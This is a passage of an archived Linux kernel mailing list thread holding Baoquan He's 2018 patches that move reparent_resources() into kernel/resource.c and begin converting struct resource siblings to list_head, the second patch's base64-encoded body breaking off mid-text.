 arch/sparc/kernel/ioport.c                  |   2 +-
 arch/xtensa/include/asm/pci-bridge.h        |   4 +-
 drivers/eisa/eisa-bus.c                     |   2 +
 drivers/gpu/drm/drm_memory.c                |   3 +-
 drivers/gpu/drm/gma500/gtt.c                |   5 +-
 drivers/hv/vmbus_drv.c                      |  52 +++---
 drivers/input/joystick/iforce/iforce-main.c |   4 +-
 drivers/nvdimm/namespace_devs.c             |   6 +-
 drivers/nvdimm/nd.h                         |   5 +-
 drivers/of/address.c                        |   4 +-
 drivers/parisc/lba_pci.c                    |   4 +-
 drivers/pci/controller/vmd.c                |   8 +-
 drivers/pci/probe.c                         |   2 +
 drivers/pci/setup-bus.c                     |   2 +-
 include/linux/ioport.h                      |  21 ++-
 kernel/kexec_file.c                         |   2 +
 kernel/resource.c                           | 266 ++++++++++++++++++----------
 22 files changed, 260 insertions(+), 232 deletions(-)

-- 
2.13.6

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed, 18 Jul 2018 10:49:41 +0800
Lines: 179
Approved: news@gmane.org
Message-ID: <20180718024944.577-2-bhe@redhat.com>
References: <20180718024944.577-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531882106 15862 195.159.176.226 (18 Jul 2018 02:48:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 02:48:26 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 04:48:18 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffcVl-0003ws-Mh
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 04:48:18 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 7BD7A2098877C;
	Tue, 17 Jul 2018 19:50:28 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 7F1322097F544
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 17 Jul 2018 19:50:26 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id ECD9177885;
 Wed, 18 Jul 2018 02:50:24 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 5786A2026D68;
 Wed, 18 Jul 2018 02:50:07 +0000 (UTC)
In-Reply-To: <20180718024944.577-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 18 Jul 2018 02:50:25 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 18 Jul 2018 02:50:25 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11030 gmane.linux.kernel:2823305 gmane.linux.drivers.devicetree:279915 gmane.linux.kernel.pci:74054 gmane.linux.kernel.input:62016 gmane.linux.ports.parisc:28790 gmane.linux.ports.ppc64.devel:160136
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11030>

reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
so that it's shared.

Reviewed-by: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>
Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
Cc: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
Cc: linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
---
 arch/microblaze/pci/pci-common.c | 37 -----------------------------------
 arch/powerpc/kernel/pci-common.c | 35 ---------------------------------
 include/linux/ioport.h           |  1 +
 kernel/resource.c                | 42 ++++++++++++++++++++++++++++++++++++++++
 4 files changed, 43 insertions(+), 72 deletions(-)

diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index f34346d56095..7899bafab064 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
 EXPORT_SYMBOL(pcibios_add_device);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int __init reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
-			 p->name,
-			 (unsigned long long)p->start,
-			 (unsigned long long)p->end, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index fe9733ffffaa..926035bb378d 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 EXPORT_SYMBOL(pcibios_align_resource);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s %pR under %s\n",
-			 p->name, p, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/include/linux/ioport.h b/include/linux/ioport.h
index da0ebaec25f0..dfdcd0bfe54e 100644
--- a/include/linux/ioport.h
+++ b/include/linux/ioport.h
@@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
 struct resource *lookup_resource(struct resource *root, resource_size_t start);
 int adjust_resource(struct resource *res, resource_size_t start,
 		    resource_size_t size);
+int reparent_resources(struct resource *parent, struct resource *res);
 resource_size_t resource_alignment(struct resource *res);
 static inline resource_size_t resource_size(const struct resource *res)
 {
diff --git a/kernel/resource.c b/kernel/resource.c
index 30e1bc68503b..81ccd19c1d9f 100644
--- a/kernel/resource.c
+++ b/kernel/resource.c
@@ -983,6 +983,48 @@ int adjust_resource(struct resource *res, resource_size_t start,
 }
 EXPORT_SYMBOL(adjust_resource);
 
+/**
+ * reparent_resources - reparent resource children of parent that res covers
+ * @parent: parent resource descriptor
+ * @res: resource descriptor desired by caller
+ *
+ * Returns 0 on success, -ENOTSUPP if child resource is not completely
+ * contained by 'res', -ECANCELED if no any conflicting entry found.
+ *
+ * Reparent resource children of 'parent' that conflict with 'res'
+ * under 'res', and make 'res' replace those children.
+ */
+int reparent_resources(struct resource *parent, struct resource *res)
+{
+	struct resource *p, **pp;
+	struct resource **firstpp = NULL;
+
+	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
+		if (p->end < res->start)
+			continue;
+		if (res->end < p->start)
+			break;
+		if (p->start < res->start || p->end > res->end)
+			return -ENOTSUPP;	/* not completely contained */
+		if (firstpp == NULL)
+			firstpp = pp;
+	}
+	if (firstpp == NULL)
+		return -ECANCELED; /* didn't find any conflicting entries? */
+	res->parent = parent;
+	res->child = *firstpp;
+	res->sibling = *pp;
+	*firstpp = res;
+	*pp = NULL;
+	for (p = res->child; p != NULL; p = p->sibling) {
+		p->parent = res;
+		pr_debug("PCI: Reparented %s %pR under %s\n",
+			 p->name, p, res->name);
+	}
+	return 0;
+}
+EXPORT_SYMBOL(reparent_resources);
+
 static void __init __reserve_region_with_split(struct resource *root,
 		resource_size_t start, resource_size_t end,
 		const char *name)
-- 
2.13.6

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 2/4] resource: Use list_head to link sibling resource
Date: Wed, 18 Jul 2018 10:49:42 +0800
Lines: 608
Approved: news@gmane.org
Message-ID: <20180718024944.577-3-bhe@redhat.com>
References: <20180718024944.577-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1531882237 24649 195.159.176.226 (18 Jul 2018 02:50:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Jul 2018 02:50:37 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, Benjamin Herrenschmid
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 18 04:50:28 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1ffcXr-0006Dt-4b
	for gln-linux-nvdimm@m.gmane.org; Wed, 18 Jul 2018 04:50:27 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id E604F2098877B;
	Tue, 17 Jul 2018 19:52:37 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 0C2682097F544
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 17 Jul 2018 19:52:37 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id E64247D84D;
 Wed, 18 Jul 2018 02:52:35 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 8B2DD2026D68;
 Wed, 18 Jul 2018 02:50:25 +0000 (UTC)
In-Reply-To: <20180718024944.577-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.2]); Wed, 18 Jul 2018 02:52:36 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.2]);
 Wed, 18 Jul 2018 02:52:36 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11031 gmane.linux.kernel:2823306 gmane.linux.ports.mips.general:65495 gmane.linux.drivers.devicetree:279916 gmane.linux.kernel.pci:74055 gmane.linux.kernel.input:62017 gmane.linux.ports.parisc:28791 gmane.linux.ports.ppc64.devel:160137
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11031>

VGhlIHN0cnVjdCByZXNvdXJjZSB1c2VzIHNpbmdseSBsaW5rZWQgbGlzdCB0byBsaW5rIHNpYmxp
bmdzLCBpbXBsZW1lbnRlZApieSBwb2ludGVyIG9wZXJhdGlvbi4gUmVwbGFjZSBpdCB3aXRoIGxp
c3RfaGVhZCBmb3IgYmV0dGVyIGNvZGUgcmVhZGFiaWxpdHkuCgpCYXNlZCBvbiB0aGlzIGxpc3Rf
aGVhZCByZXBsYWNlbWVudCwgaXQgd2lsbCBiZSB2ZXJ5IGVhc3kgdG8gZG8gcmV2ZXJzZQppdGVy
YXRpb24gb24gaW9tZW1fcmVzb3VyY2UncyBzaWJsaW5nIGxpc3QgaW4gbGF0ZXIgcGF0Y2guCgpC
ZXNpZGVzLCB0eXBlIG9mIG1lbWJlciB2YXJpYWJsZXMgb2Ygc3RydWN0IHJlc291cmNlLCBzaWJs
aW5nIGFuZCBjaGlsZCwgYXJlCmNoYW5nZWQgZnJvbSAnc3RydWN0IHJlc291cmNlIConIHRvICdz
dHJ1Y3QgbGlzdF9oZWFkJy4gVGhpcyBicmluZ3MgdHdvCnBvaW50ZXJzIG9mIHNpemUgaW5jcmVh
c2UuCgpTdWdnZXN0ZWQtYnk6IEFuZHJldyBNb3J0b24gPGFrcG1AbGludXgtZm91bmRhdGlvbi5v
cmc+ClNpZ25lZC1vZmYtYnk6IEJhb3F1YW4gSGUgPGJoZUByZWRoYXQuY29tPgpDYzogUGF0cmlr
IEpha29ic3NvbiA8cGF0cmlrLnIuamFrb2Jzc29uQGdtYWlsLmNvbT4KQ2M6IERhdmlkIEFpcmxp
ZSA8YWlybGllZEBsaW51eC5pZT4KQ2M6ICJLLiBZLiBTcmluaXZhc2FuIiA8a3lzQG1pY3Jvc29m
dC5jb20+CkNjOiBIYWl5YW5nIFpoYW5nIDxoYWl5YW5nekBtaWNyb3NvZnQuY29tPgpDYzogU3Rl
cGhlbiBIZW1taW5nZXIgPHN0aGVtbWluQG1pY3Jvc29mdC5jb20+CkNjOiBEbWl0cnkgVG9yb2to
b3YgPGRtaXRyeS50b3Jva2hvdkBnbWFpbC5jb20+CkNjOiBEYW4gV2lsbGlhbXMgPGRhbi5qLndp
bGxpYW1zQGludGVsLmNvbT4KQ2M6IFJvYiBIZXJyaW5nIDxyb2JoK2R0QGtlcm5lbC5vcmc+CkNj
OiBGcmFuayBSb3dhbmQgPGZyb3dhbmQubGlzdEBnbWFpbC5jb20+CkNjOiBLZWl0aCBCdXNjaCA8
a2VpdGguYnVzY2hAaW50ZWwuY29tPgpDYzogSm9uYXRoYW4gRGVycmljayA8am9uYXRoYW4uZGVy
cmlja0BpbnRlbC5jb20+CkNjOiBMb3JlbnpvIFBpZXJhbGlzaSA8bG9yZW56by5waWVyYWxpc2lA
YXJtLmNvbT4KQ2M6IEJqb3JuIEhlbGdhYXMgPGJoZWxnYWFzQGdvb2dsZS5jb20+CkNjOiBUaG9t
YXMgR2xlaXhuZXIgPHRnbHhAbGludXRyb25peC5kZT4KQ2M6IEJyaWplc2ggU2luZ2ggPGJyaWpl
c2guc2luZ2hAYW1kLmNvbT4KQ2M6ICJKw6lyw7RtZSBHbGlzc2UiIDxqZ2xpc3NlQHJlZGhhdC5j
b20+CkNjOiBCb3Jpc2xhdiBQZXRrb3YgPGJwQHN1c2UuZGU+CkNjOiBUb20gTGVuZGFja3kgPHRo
b21hcy5sZW5kYWNreUBhbWQuY29tPgpDYzogR3JlZyBLcm9haC1IYXJ0bWFuIDxncmVna2hAbGlu
dXhmb3VuZGF0aW9uLm9yZz4KQ2M6IFlhb3dlaSBCYWkgPGJhaXlhb3dlaUBjbXNzLmNoaW5hbW9i
aWxlLmNvbT4KQ2M6IFdlaSBZYW5nIDxyaWNoYXJkLndlaXlhbmdAZ21haWwuY29tPgpDYzogZGV2
ZWxAbGludXhkcml2ZXJwcm9qZWN0Lm9yZwpDYzogbGludXgtaW5wdXRAdmdlci5rZXJuZWwub3Jn
CkNjOiBsaW51eC1udmRpbW1AbGlzdHMuMDEub3JnCkNjOiBkZXZpY2V0cmVlQHZnZXIua2VybmVs
Lm9yZwpDYzogbGludXgtcGNpQHZnZXIua2VybmVsLm9yZwpDYzogTWljaGFsIFNpbWVrIDxtb25z
dHJAbW9uc3RyLmV1PgpDYzogQmVuamFtaW4gSGVycmVuc2NobWlkdCA8YmVuaEBrZXJuZWwuY3Jh
c2hpbmcub3JnPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApDYzogUGF1bCBN
YWNrZXJyYXMgPHBhdWx1c0BzYW1iYS5vcmc+CkNjOiBNaWNoYWVsIEVsbGVybWFuIDxtcGVAZWxs
ZXJtYW4uaWQuYXU+CkNjOiBsaW51eC1taXBzQGxpbnV4LW1pcHMub3JnCi0tLQogYXJjaC9hcm0v
